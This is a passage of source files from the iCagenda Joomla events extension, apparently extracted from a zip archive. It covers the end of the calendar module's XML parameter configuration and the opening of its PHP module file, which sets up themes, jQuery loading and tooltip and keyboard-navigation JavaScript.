					name="iCmenu_filters"
					type="radio"
					label="ICAGENDA_MODULE_MENU_FILTERS_LABEL"
					description="ICAGENDA_MODULE_MENU_FILTERS_DESC"
					default="0"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="firstMonth"
					type="calendar"
					label="MOD_ICCALENDAR_LOADING_ON_DATE_LBL"
					description="MOD_ICCALENDAR_LOADING_ON_DATE_DESC"
					default=""
				/>

				<field type="Title" label="MOD_ICCALENDAR_FILTERS_LABEL" class="stylebox lead input-xxlarge" />

				<field
					name="mcatid"
					type="modal_multicat"
					label="MOD_ICCALENDAR_LBL_CATEGORY"
					description="MOD_ICCALENDAR_DESC_CATEGORY"
					default="0"
					class="inputbox"
					multiple="multiple"
				/>

				<field
					name="onlyStDate"
					type="list"
					label="MOD_ICCALENDAR_LBL_PERIOD"
					description="MOD_ICCALENDAR_PERIOD_ONLY_START_DATE_DESC"
					default=""
					class="btn-group"
					>
					<option value="">PERIOD_ALL_DATES</option>
					<option value="1">PERIOD_ONLY_START_DATE</option>
				</field>

				<field type="Title" label="MOD_ICCALENDAR_HEADER_TEXT_LBL" class="stylebox lead input-xxlarge" />

				<field
					name="header_text"
					type="editor"
					label="MOD_ICCALENDAR_HEADER_TEXT_LBL"
					description="MOD_ICCALENDAR_HEADER_TEXT_DESC"
					default=""
					filter="JComponentHelper::filterText"
				/>

				<field type="Title" label=" " class="stylenote" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_TOOLTIP" class="stylebox lead input-xxlarge" />

				<field
					name="tipwidth"
					type="text"
					label="MOD_ICCALENDAR_LBL_TIP_WIDTH"
					description="MOD_ICCALENDAR_DESC_TIP_WIDTH"
					default="390"
					class="inputbox"
					size="30"
				/>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_DESC_HORIZ_POSITION"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="position"
					type="radio"
					label="MOD_ICCALENDAR_LBL_HORIZ_POSITION"
					description="MOD_ICCALENDAR_DESC_HORIZ_POSITION"
					default="center"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="left">MOD_ICCALENDAR_HORIZ_POSITION_LEFT</option>
					<option value="center">MOD_ICCALENDAR_HORIZ_POSITION_MIDDLE</option>
					<option value="right">MOD_ICCALENDAR_HORIZ_POSITION_RIGHT</option>
				</field>

				<field
					name="posmiddle"
					type="radio"
					label="MOD_ICCALENDAR_LBL_VERT_POSITION"
					description="MOD_ICCALENDAR_DESC_VERT_POSITION"
					default="top"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="top">MOD_ICCALENDAR_VERT_POSITION_TOP</option>
					<option value="bottom">MOD_ICCALENDAR_VERT_POSITION_BOTTOM</option>
				</field>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_DESC_VERT_POSITION_OFFSET"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="verticaloffset"
					type="text"
					label="MOD_ICCALENDAR_LBL_VERT_POSITION_OFFSET"
					description="MOD_ICCALENDAR_DESC_VERT_POSITION_OFFSET"
					default="50"
					class="inputbox"
					size="30"
				/>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_TIP_PADDING"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="padding"
					type="text"
					label="MOD_ICCALENDAR_LBL_TIP_PADDING"
					description="MOD_ICCALENDAR_DESC_TIP_PADDING"
					default="0"
					class="inputbox"
					size="30"
				/>

				<field
					type="TitleImg"
					label="MOD_ICCALENDAR_DESC_MOUSEOVER"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					name="mouseover"
					type="radio"
					label="MOD_ICCALENDAR_LBL_MOUSEOVER"
					description="MOD_ICCALENDAR_DESC_MOUSEOVER"
					default="click"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="click">MOD_ICCALANDAR_OPEN_CLICK</option>
					<option value="mouseover">MOD_ICCALANDAR_OPEN_MOUSEOVER</option>
				</field>

				<field
					name="mouseout"
					type="radio"
					label="MOD_ICCALENDAR_CLOSE_ON_MOUSEOUT_LBL"
					description="MOD_ICCALENDAR_CLOSE_ON_MOUSEOUT_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					type="Title"
					label="MOD_ICCALENDAR_FORMAT_NOTE"
					class="stylenote"
				/>

				<field
					name="format"
					type="iclist_globalization"
					label="COM_ICAGENDA_LBL_FORMAT"
					description="COM_ICAGENDA_LBL_FORMAT"
					default="0"
					class="inputbox"
				/>

				<field
					name="date_separator"
					type="text"
					label="COM_ICAGENDA_LBL_DATE_SEPARATOR"
					description="COM_ICAGENDA_DESC_DATE_SEPARATOR"
					default=""
					class="inputbox"
					size="5"
				/>

				<field
					type="TitleImg"
					label="COM_ICAGENDA_DATE_FORMAT_NOTE1"
					class="stylenote alert alert-info input-xxlarge"
					icicon="info-circle"
				/>

				<field
					type="TitleImg"
					label="COM_ICAGENDA_DATE_FORMAT_NOTE2"
					class="stylenoteP alert alert-block input-xxlarge"
					icicon="earth"
				/>

				<!--field type="Title" label="MOD_ICCALENDAR_LBL_ORDERING" class="stylenote" />

				<field
					name="events_ordering_first"
					type="list"
					label="MOD_ICCALENDAR_EVENTS_ORDERING_FIRST_LABEL"
					description="MOD_ICCALENDAR_EVENTS_ORDERING_FIRST_DESC"
					default="1_ASC"
					>
					<option value="1_ASC">MOD_ICCALENDAR_TIME_ASC</option>
					<option value="1_DESC">MOD_ICCALENDAR_TIME_DESC</option>
					<option value="2_ASC">MOD_ICCALENDAR_CAT_TITLE_ASC</option>
					<option value="2_DESC">MOD_ICCALENDAR_CAT_TITLE_DESC</option>
				</field>

				<field
					name="events_ordering_second"
					type="list"
					label="MOD_ICCALENDAR_EVENTS_ORDERING_SECOND_LABEL"
					description="MOD_ICCALENDAR_EVENTS_ORDERING_SECOND_DESC"
					default="3"
					>
					<option value="1_ASC">MOD_ICCALENDAR_TIME_ASC</option>
					<option value="1_DESC">MOD_ICCALENDAR_TIME_DESC</option>
					<option value="2_ASC">MOD_ICCALENDAR_CAT_TITLE_ASC</option>
					<option value="2_DESC">MOD_ICCALENDAR_CAT_TITLE_DESC</option>
				</field-->

				<field type="Title" label="MOD_ICCALENDAR_LBL_TOOLTIP_INFOS" class="stylenote" />

				<field
					name="dp_time"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_TIME_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_TIME_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_venuename"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_VENUE_NAME_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_VENUE_NAME_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_city"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_CITY_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_CITY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_country"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_COUNTRY_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_COUNTRY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_regInfos"
					type="radio"
					label="MOD_ICCALENDAR_DISPLAY_REGISTRATION_INFOS_LABEL"
					description="MOD_ICCALENDAR_DISPLAY_REGISTRATION_INFOS_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="features_icon_size"
					type="list"
					label="MOD_ICCALENDAR_FEATURES_ICONSIZE_LABEL"
					description="MOD_ICCALENDAR_FEATURES_ICONSIZE_DESC"
					default=""
					class="inputbox"
					filter="options"
					>
					<option value="">COM_ICAGENDA_FEATURES_ICONSIZE_NONE</option>
					<option value="16_bit">COM_ICAGENDA_FEATURES_ICONSIZE_16</option>
					<option value="24_bit">COM_ICAGENDA_FEATURES_ICONSIZE_24</option>
					<option value="32_bit">COM_ICAGENDA_FEATURES_ICONSIZE_32</option>
					<option value="48_bit">COM_ICAGENDA_FEATURES_ICONSIZE_48</option>
					<option value="64_bit">COM_ICAGENDA_FEATURES_ICONSIZE_64</option>
				</field>

				<field
					name="show_icon_title"
					type="radio"
					label="MOD_ICCALENDAR_SHOW_FEATURE_ICON_TITLE_LABEL"
					description="MOD_ICCALENDAR_SHOW_FEATURE_ICON_TITLE_DESC"
					default="1"
					class="btn-group"
					filter="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="dp_shortDesc"
					type="radio"
					label="COM_ICAGENDA_LIST_INTROTEXT_DISPLAY_LABEL"
					description="COM_ICAGENDA_LIST_INTROTEXT_DISPLAY_DESC"
					default=""
					class="btn-group"
					labelclass="control-label"
					>
					<option value="">IC_AUTO</option>
					<option value="0">JHIDE</option>
					<option value="1">IC_SHORTDESC</option>
					<option value="2">IC_AUTO_INTROTEXT</option>
				</field>

				<field
					name="filtering_shortDesc"
					type="list"
					label="ICAGENDA_FILTERING_SHORTDESC_LABEL"
					description="ICAGENDA_FILTERING_SHORTDESC_DESC"
					default=""
					class="btn-group"
					>
					<option value="">ICAGENDA_GLOBAL_OPTION</option>
					<option value="1">ICAGENDA_FILTERING_NO_HTML</option>
					<option value="2">ICAGENDA_FILTERING_ALL_ITALIC</option>
				</field>

				<field
					name="paramlimit"
					type="modal_icvalue_opt"
					label="ICAGENDA_AUTO_INTROTEXT_LIMIT_LABEL"
					description="ICAGENDA_AUTO_INTROTEXT_LIMIT_DESC"
					default=""
					labelclass="control-label"
				/>

				<field
					name="paramlimit_Content"
					type="modal_icvalue_field"
					label=" "
					class="inputbox"
					labelclass="control-label"
				/>

				<field type="Title" label="MOD_ICCALENDAR_LBL_DISPLAY" class="stylenote" />

				<field
					name="calendarclosebtn"
					type="modal_icvalue_opt"
					label="COM_ICAGENDA_LBL_CLOSE_TEXT"
					description="COM_ICAGENDA_DESC_CLOSE_TEXT"
					default="0"
					labelclass="control-label"
				/>

				<field
					name="calendarclosebtn_Content"
					type="modal_icvalue_field"
					label=" "
					default="X"
					class="inputbox"
					labelclass="control-label"
				/>


				<field type="Title" label=" " class="stylenote" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_DISPLAY" class="stylebox lead input-xxlarge" />

				<field type="Title" label="MOD_ICCALENDAR_NAVIGATION" class="stylenote" />

				<field
					name="month_nav"
					type="radio"
					label="MOD_ICCALENDAR_NAVIGATION_MONTH_DISPLAY_LBL"
					description="MOD_ICCALENDAR_NAVIGATION_MONTH_DISPLAY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="year_nav"
					type="radio"
					label="MOD_ICCALENDAR_NAVIGATION_YEAR_DISPLAY_LBL"
					description="MOD_ICCALENDAR_NAVIGATION_YEAR_DISPLAY_DESC"
					default="1"
					class="btn-group"
					labelclass="control-label"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field type="Title" label="MOD_ICCALENDAR_LBL_FIRSTDAY_WEEK" class="stylenote" />

				<field
					name="firstday"
					type="list"
					label="MOD_ICCALENDAR_LBL_FIRSTDAY"
					default="1"
					>
					<option value="0">SUNDAY</option>
					<option value="1">MONDAY</option>
					<option value="2">TUESDAY</option>
					<option value="3">WEDNESDAY</option>
					<option value="4">THURSDAY</option>
					<option value="5">FRIDAY</option>
					<option value="6">SATURDAY</option>
				</field>

				<field type="Title" label="MOD_ICCALENDAR_LBL_FONTCOLORS" class="stylenote" />

				<field
					name="calfontcolor"
					type="color"
					label="MOD_ICCALENDAR_CALENDAR_FONTCOLOR_LBL"
					description="MOD_ICCALENDAR_CALENDAR_FONTCOLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field type="Title" label="MOD_ICCALENDAR_LBL_BGCOLORS" class="stylenote" />

				<field
					name="OneEventbgcolor"
					type="color"
					label="MOD_ICCALENDAR_DAY_WITH_ONE_EVENT_BACKGROUND_COLOR_LBL"
					description="MOD_ICCALENDAR_DAY_WITH_ONE_EVENT_BACKGROUND_COLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="Eventsbgcolor"
					type="color"
					label="MOD_ICCALENDAR_DAY_WITH_EVENTS_BACKGROUND_COLOR_LBL"
					description="MOD_ICCALENDAR_DAY_WITH_EVENTS_BACKGROUND_COLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="bgcolor"
					type="color"
					label="ICCALENDAR_BACKGROUND_COLOR"
					description="ICCALENDAR_BACKGROUND_COLOR_DESC"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="bgimage"
					type="media"
					label="ICCALENDAR_BACKGROUND_IMAGE"
					description="ICCALENDAR_BACKGROUND_IMAGE_DESC"
					default=""
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="bgimagerepeat"
					type="list"
					label="ICCALENDAR_BACKGROUND_IMAGE_REPEAT"
					description="ICCALENDAR_BACKGROUND_IMAGE_REPEAT_DESC"
					default="repeat"
					>
					<option value="repeat">repeat</option>
					<option value="repeat-x">repeat-x</option>
					<option value="repeat-y">repeat-y</option>
					<option value="no-repeat">no-repeat</option>
				</field>

				<field
					name="mon"
					type="color"
					label="MONDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="tue"
					type="color"
					label="TUESDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="wed"
					type="color"
					label="WEDNESDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="thu"
					type="color"
					label="THURSDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="fri"
					type="color"
					label="FRIDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="sat"
					type="color"
					label="SATURDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field
					name="sun"
					type="color"
					label="SUNDAY"
					default=" "
					class="inputbox"
					size="7"
					filter="safehtml"
				/>

				<field type="Title" label=" " class="stylenote" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_ADVANCED" class="stylebox lead input-xxlarge" />

				<field type="Title" label="MOD_ICCALENDAR_LBL_JQUERY" class="stylenote" />

				<field
					name="loadJquery"
					type="radio"
					label="MOD_ICCALENDAR_LBL_LOADJQUERY"
					description="MOD_ICCALENDAR_DESC_LOADJQUERY"
					default="auto"
					class="btn-group"
					>
					<option value="auto">MOD_ICCALENDAR_LOADJQUERY_AUTO</option>
					<option value="0">MOD_ICCALENDAR_LOADJQUERY_NO</option>
					<option value="1">MOD_ICCALENDAR_LOADJQUERY_YES</option>
				</field>

				<field type="Title" label="ICAGENDA_LBL_TIMEZONE" class="stylenote" />

				<field
					name="setTodayTimezone"
					type="list"
					label="ICAGENDA_LBL_TODAY_TIMEZONE"
					description="ICAGENDA_DESC_TODAY_TIMEZONE"
					default=""
					onchange="icalert()"
					>
					<option value="">ICAGENDA_VISITOR_TIMEZONE</option>
					<option value="SITE">ICAGENDA_JOOMLA_SERVER_TIMEZONE</option>
					<option value="UTC">ICAGENDA_UTC_TIMEZONE</option>
					<!--option value="2">ICAGENDA_HOSTING_SERVER_TIMEZONE</option-->
				</field>

				<field
					name="caldate_error"
					type="modal_icalert_msg"
					label="COM_ICAGENDA_THEME_PACKS_COMPATIBILITY"
					description="MOD_ICCALENDAR_ALERT_CAL_DATE_MISSING_DESC"
				/>

				<!--field
					name="displayDatesTimezone"
					type="list"
					label="ICAGENDA_LBL_DATES_TIMEZONE_BETA"
					description="ICAGENDA_DESC_DATES_TIMEZONE_BETA"
					default="0"
					class="btn-group"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field-->

				<!--field type="title" label="ICAGENDA_DESC_TODAY_TIMEZONE_TEMPORARY" class="alert alert-info input-xxlarge" /-->
			</fieldset>

			<fieldset name="ADVANCED" label="MOD_ICCALENDAR_LBL_ADVANCED">

				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					icon="text_signature.png"
				/>

				<field type="Title" label=" " class="stylenote" />

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="0"
					>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field type="title" label="MOD_ICCALENDAR_CACHE_NOTE" class="stylered alert alert-error input-xxlarge" />


				<!--field
					name="cache_time"
					type="text"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					icon="hourglass.png"
					suffix="min"
				/-->

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option	value="itemid"></option>
				</field>

			</fieldset>

		</fields>

	</config>

</extension>
PK!P�j�C�C!mod_iccalendar/mod_iccalendar.phpnu&1i�<?php
/**
 *----------------------------------------------------------------------------
 * iCagenda     Events Management Extension for Joomla!
 *----------------------------------------------------------------------------
 * @version     3.7.0 2018-05-17
 *
 * @package     iCagenda.Site
 * @subpackage  mod_iccalendar
 * @link        https://icagenda.joomlic.com
 *
 * @author      Cyril Rezé
 * @copyright   (c) 2012-2019 Jooml!C / Cyril Rezé. All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 *
 * @since       1.0
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *----------------------------------------------------------------------------
*/

defined('_JEXEC') or die;

/**
 * iCagenda - iC calendar
 */

// Get iCagenda component parameters
$com_params = JComponentHelper::getParams('com_icagenda');

// For Dev.
$time_loading = $com_params->get('time_loading', '');

if ($time_loading && class_exists('iCLibrary'))
{
	$starttime_cal = iCLibrary::getMicrotime();
}

jimport('joomla.application.component.helper');

// Get Application
$app    = JFactory::getApplication();
$jinput = $app->input;

// Check Errors: iC Library & iCagenda Utilities
$UTILITIES_DIR = is_dir(JPATH_ADMINISTRATOR . '/components/com_icagenda/utilities');

if ( (!$UTILITIES_DIR)
	|| (!class_exists('iCLibrary')) )
{
	$alert_message = JText::_('ICAGENDA_CAN_NOT_LOAD').'<br />';
	$alert_message.= '<ul>';
	if (!class_exists('iCLibrary')) $alert_message.= '<li>' . JText::_('IC_LIBRARY_NOT_LOADED') . '</li>';
	if (!$UTILITIES_DIR) $alert_message.= '<li>' . JText::_('ICAGENDA_A_FOLDER_IS_MISSING') . '</li>';
	$alert_message.= '</ul>';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('ICAGENDA_IS_NOT_CORRECTLY_INSTALLED') . ' ';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('ICAGENDA_INSTALL_AGAIN') . '<br />';
	if (!$UTILITIES_DIR) $alert_message.= JText::_('IC_ALTERNATIVELY') . ':<br /><ul>';
	if ($UTILITIES_DIR) $alert_message.= JText::_('IC_PLEASE') . ', ';
	if (!class_exists('iCLibrary'))
	{
		if (!$UTILITIES_DIR) $alert_message.= '<li>';
		$alert_message.= JText::_('IC_LIBRARY_CHECK_PLUGIN_AND_LIBRARY');
		if (!$UTILITIES_DIR) $alert_message.= '</li>';
	}
	if (!$UTILITIES_DIR)
	{
		$alert_message.= '<li>' . JText::Sprintf('ICAGENDA_UTILITIES_FIX_MANUAL'
						, '<strong>admin/utilities</strong>'
						, '<strong>administrator/components/com_icagenda/</strong>');
		$alert_message.= '</li></ul>';
	}

	// Get the message queue
	$messages = $app->getMessageQueue();

	$display_alert_message = false;

	// If we have messages
	if (is_array($messages) && count($messages))
	{
		// Check each message for the one we want
		foreach ($messages as $key => $value)
		{
			if ($value['message'] == $alert_message)
			{
				$display_alert_message = true;
			}
		}
	}

	if (!$display_alert_message)
	{
		$app->enqueueMessage($alert_message, 'error');
	}

	echo JText::_('IC_MODULE_CAN_NOT_BE_LOADED') . '<br />';
	echo JText::_('IC_MODULE_CHECK_ALERT_MESSAGE');

	return false;
}

// Load iCagenda Utilities
JLoader::registerPrefix('icagenda', JPATH_ADMINISTRATOR . '/components/com_icagenda/utilities');

jimport( 'joomla.environment.request' );

// Get Document
$document	= JFactory::getDocument();

// Test if translation is missing, set to en-GB by default
$language = JFactory::getLanguage();
$language->load( 'mod_iccalendar', JPATH_SITE, 'en-GB', true );
$language->load( 'mod_iccalendar', JPATH_SITE, null, true );

// Include the class of the syndicate functions only once
if ( ! class_exists('modiCcalendarHelper')) require_once(dirname(__FILE__) . '/helper.php');

// Check valid NEXT DATE (removed 3.6.3)
icagendaEventsData::getNext();

// Module ID
$modid		= $module->id;

// Params of the Module iC Calendar
$moduleclass_sfx	= htmlspecialchars($params->get('moduleclass_sfx'));
$mouseover			= $params->get('mouseover', 'click');
$mouseout			= $params->get('mouseout', 1);
$columns_bg_color	= array(
						$params->get('sun', ' '),
						$params->get('mon', ' '),
						$params->get('tue', ' '),
						$params->get('wed', ' '),
						$params->get('thu', ' '),
						$params->get('fri', ' '),
						$params->get('sat', ' '),
					);
$firstday			= $params->get('firstday', '1');
$calfontcolor		= $params->get('calfontcolor', ' ');
$OneEventbgcolor	= $params->get('OneEventbgcolor', ' ');
$Eventsbgcolor		= $params->get('Eventsbgcolor', ' ');
$bgcolor			= $params->get('bgcolor', ' ');
$bgimage			= $params->get('bgimage');
$bgimagerepeat		= $params->get('bgimagerepeat');
$closebutton		= $params->get('calendarclosebtn', 1);
$closebutton_custom	= $params->get('calendarclosebtn_Content', 'X');
$theme_calendar		= $params->get('template', 'default');
$firstMonth			= iCDate::isDate($params->get('firstMonth'))
					? $params->get('firstMonth')
					: '';

$setTodayTimezone	= $params->get('setTodayTimezone', '');

// Ordering set by default (time/category) - Option in developpement (Not used)
$events_ordering_first	= $params->get('events_ordering_first', '1_ASC');
$events_ordering_second	= $params->get('events_ordering_second', '2_ASC');
$ictip_ordering			= $events_ordering_first.'-'.$events_ordering_second;

$header_text			= $params->get('header_text', '');
$padding				= $params->get('padding', '0');

// Module
$cal		= new modiCcalendarHelper;
$data		= $cal->getStamp($params);
$url_date	= $jinput->get('date');
$iccaldate	= $jinput->get('iccaldate');

// First day of the current month
$this_month	= $firstMonth
//			? date("Y-m-d", strtotime("+1 month", strtotime($firstMonth)))
			? date("Y-m-01", strtotime($firstMonth))
			: JHtml::date('now', 'Y-m-01', null);

if ( isset($iccaldate)
	&& !empty($iccaldate) )
{
	// This should be the first day of a month
	$date_start = date('Y-m-01', strtotime($iccaldate));
}
else
{
	$date_start	= $this_month;
}

$nav = $cal->getNav($date_start, $modid);


// Search template of iC Calendar from the selected Theme Pack
$themes_path = '/components/com_icagenda/themes/packs/';

if ( ! file_exists(JPATH_BASE . $themes_path . $theme_calendar . '/' . $theme_calendar . '_calendar.php'))
{
	$theme_calendar = 'default';
}

$theme_tmpl	= JPATH_BASE . $themes_path . $theme_calendar . '/' . $theme_calendar;
$theme_css	= $themes_path . $theme_calendar . '/css/' . $theme_calendar;

$t_calendar		= $theme_tmpl . '_calendar.php';
$css_module		= $theme_css . '_module.css';
$css_mod_rtl	= $theme_css . '_module-rtl.css';

// ToolTip 2 in developpement (Not used)
$tip_type = '1';

if ($tip_type == 1)
{
	$t_day = $theme_tmpl . '_day.php';
}
elseif ($tip_type == 2)
{
	$t_day = $theme_tmpl . '_calendar_tip.php';
}

// Add the media specific CSS to the document
icagendaThemeStyle::addMediaCss($theme_calendar, 'module');

// Load Vector iCicons Font (navigation arrows)
JHtml::stylesheet( 'media/com_icagenda/icicons/style.css' );

// Theme pack component css
$document->addStyleSheet( JURI::base( true ) . $css_module );

// RTL css if site language is RTL
$lang = JFactory::getLanguage();

if ( $lang->isRTL()
	&& file_exists( JPATH_SITE . $css_mod_rtl) )
{
	$document->addStyleSheet( JURI::base( true ) . $css_mod_rtl );
}

if (version_compare(JVERSION, '3.0', 'ge'))
{
	// Request Joomla to load jQuery in no conflict mode
	JHtml::_('bootstrap.framework');
	JHtml::_('jquery.framework');
}
else
{
	//Load JS
	JHtml::_('behavior.mootools');

	$header = $document->getHeadData();
	$loadJquery = true;

	switch($params->get('loadJquery',"auto"))
	{
		case "0":
			$loadJquery = false;
			break;
		case "1":
			$loadJquery = true;
			break;
		case "auto":
			foreach ($header['scripts'] as $scriptName => $scriptData)
			{
				if (substr_count($scriptName,'jquery'))
				{
					$loadJquery = false;
					break;
				}
			}
			break;
	}

	//Add js
	$app = JFactory::getApplication();

	if ($loadJquery && !$app->get('jquery'))
	{
		$document->addScript( 'https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js' );
		$app->set('jquery', true);
	}

	$document->addScript( 'modules/mod_iccalendar/js/jquery.noconflict.js' );
}

if (ini_get('allow_url_fopen'))
{
	$file = file_get_contents($t_day);

	if ( ! strpos($file, "data-cal-date"))
	{
		$server_date = false;
		echo "<div class='alert alert-error'>'data-cal-date' not found in your Custom Theme Pack!</div>";
	}
	else
	{
		$server_date = true;
	}
}
else
{
	$server_date = true;
}

if ( ! $setTodayTimezone && $server_date)
{
	$document->addScript( 'modules/mod_iccalendar/js/jQuery.highlightToday.min.js' );
}


$icclasstip		= '.icevent a';
$icclass		= '.iccalendar';
$icagendabtn	= '.icagendabtn_' . $modid;
$mod_iccalendar	= '#mod_iccalendar_' . $modid;

$close_btn		= ($closebutton == 1) ? $closebutton_custom : JText::_('MOD_ICCALENDAR_CLOSE');

// Minimum popup width for mobile phone mode
$mobile_min_width = 320;

$stamp = new cal($data, $t_calendar, $t_day, $nav, $firstday, $columns_bg_color, $calfontcolor,
		$OneEventbgcolor, $Eventsbgcolor, $bgcolor, $bgimage, $bgimagerepeat,
		$moduleclass_sfx, $modid, $theme_calendar, $ictip_ordering, $header_text);

// Load Calendar Template
echo '<!-- iCagenda - Calendar -->';
echo '<div tabindex="0" id="ic-calendar-' . $modid . '" class="">';
require $t_calendar;
echo '</div>';
?>

<script type="text/javascript">
(function($){
	var icmouse = '<?php echo $mouseover; ?>';
	var mouseout = '<?php echo $mouseout; ?>';
	var icclasstip = '<?php echo $icclasstip; ?>';
	var icclass = '<?php echo $icclass; ?>';
	var position = '<?php echo $params->get('position', 'center'); ?>';
	var posmiddle = '<?php echo $params->get('posmiddle', 'top'); ?>';
	var modid = '<?php echo $modid; ?>';
	var modidid = '<?php echo '#'.$modid; ?>';
	var icagendabtn = '<?php echo $icagendabtn; ?>';
	var mod_iccalendar = '<?php echo $mod_iccalendar; ?>';
	var template = '<?php echo '.'.$theme_calendar; ?>';
	var loading = '<?php echo JText::_('MOD_ICCALENDAR_LOADING'); ?>';
	var closetxt = '<?php echo $close_btn; ?>';
	var tip_type = '<?php echo $tip_type; ?>';
	var tipwidth = <?php echo (int)$params->get('tipwidth', 390) ?>;
	var smallwidththreshold = <?php echo (int) $com_params->get('smallwidththreshold', 0) ?>;
	var verticaloffset = <?php echo (int)$params->get('verticaloffset', 0) ?>;
	var css_position = '';
	var mobile_min_width = <?php echo $mobile_min_width; ?>;
	var extra_css = '';

	$(document).on('click touchend', icagendabtn, function(e){<?php // Refresh the current month ?>
		e.preventDefault();

		url=$(this).attr('href');

		$(modidid).html('<\div class="icloading_box"><\div style="text-align:center;">' + loading + '<\/div><\div class="icloading_img"><\/div><\/div>').load(url + ' ' + mod_iccalendar, function(){$('<?php echo $mod_iccalendar ?>').highlightToday();});

	});

	// Calendar Keyboard Accessibility (experimental, since 3.5.14)
	if (typeof first_mod === 'undefined') {
		$i = '1';
		first_mod = modid;
		first_nb = $i;
		nb_mod = $i;
	} else {
		$i = (typeof $i === 'undefined') ? '2' : ++$i;
		nb_mod = $i;
	}

	$('#ic-calendar-'+modid).addClass('ic-'+nb_mod);

	$(document).keydown(function(e){

		// ctrl+alt+C : focus on first Calendar module
		// REMOVE: Polish language conflict, alt+C Ć
//		if (e.ctrlKey && e.altKey && e.keyCode == 67) {
//			$('#ic-calendar-'+first_mod).focus();
//		}

		// ctrl+alt+N : focus on Next calendar module
		if (e.ctrlKey && e.altKey && e.keyCode == 78) {
			if ($('#ic-calendar-'+modid).is(':focus')) {
				activ = $('#ic-calendar-'+modid).attr('class');
				act = activ.split('-');
				act = act[1];
				next = ++act;
			}
			mod_class = $('#ic-calendar-'+modid).attr('class');
			if ($('.ic-'+next).length == 0) next = 1;
			if (mod_class == 'ic-'+next) $('.ic-'+next).focus();
		}

		// On focused calendar module
		if ($('#ic-calendar-'+modid).is(':focus')){
			switch (e.keyCode) {
				case 37:
					// Left arrow pressed
